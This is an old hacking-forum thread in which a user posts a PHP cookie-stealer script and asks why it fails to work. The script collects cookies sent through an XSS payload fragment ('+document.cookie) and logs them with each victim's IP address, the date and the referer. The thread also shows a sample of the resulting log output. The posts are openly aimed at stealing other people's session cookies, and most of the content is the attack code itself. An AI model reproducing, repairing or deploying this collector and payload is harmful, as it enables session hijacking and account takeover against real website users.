Follow us on Twitter!
It is the path of least resistance that makes rivers and men crooked. - Bj Palmer
Monday, April 21, 2014
Navigation
Home
HellBoundHackers Main:
HellBoundHackers Find:
HellBoundHackers Information:
Learn
Communicate
Submit
Shop
Challenges
HellBoundHackers Exploit:
HellBoundHackers Programming:
HellBoundHackers Think:
HellBoundHackers Track:
HellBoundHackers Patch:
HellBoundHackers Other:
HellBoundHackers Need Help?
Other
Members Online
Total Online: 27
Guests Online: 25
Members Online: 2

Registered Members: 82857
Newest Member: varshith_kh
Latest Articles
View Thread

HellBound Hackers | Computer General | Web hacking

Author

XSS Script


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 10-11-05 18:45
Im trying to make a cookie stealer using the url: .../cookie.php?c='+document.cookie
Im using this code:
Code
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>test</title>
</head>
<body>
<?php
$c = stripslashes(@$_GET['c']);
$cA = array();
$cA = split(";",$c);
$fp = fopen('cookie.html', 'a');
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
fwrite($fp,'<br> [ '.$ip.' ] [ '.$date.' ]<br>[ '.$referer.' ]<br>');
for ($i=0; $i<count($cA); ++$i)
{
fwrite($fp, 'q94;q94;'.$cA[$i].'<br>');
}
fwrite($fp,'<br><br>');
fclose($fp);
?>
</body>
</html>





but in cookie.html i get the following:

Code
 [ 82.110.89.33 ] [ 10 November, 2005, 6:45 pm ]
[ ]
q94;q94;' document.cookie




Any help on why its not working?

Thanks,

Will.




Edited by on 10-11-05 22:24
Author

RE: cockie stealer


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 10-11-05 19:35
disamle smileys ! Wink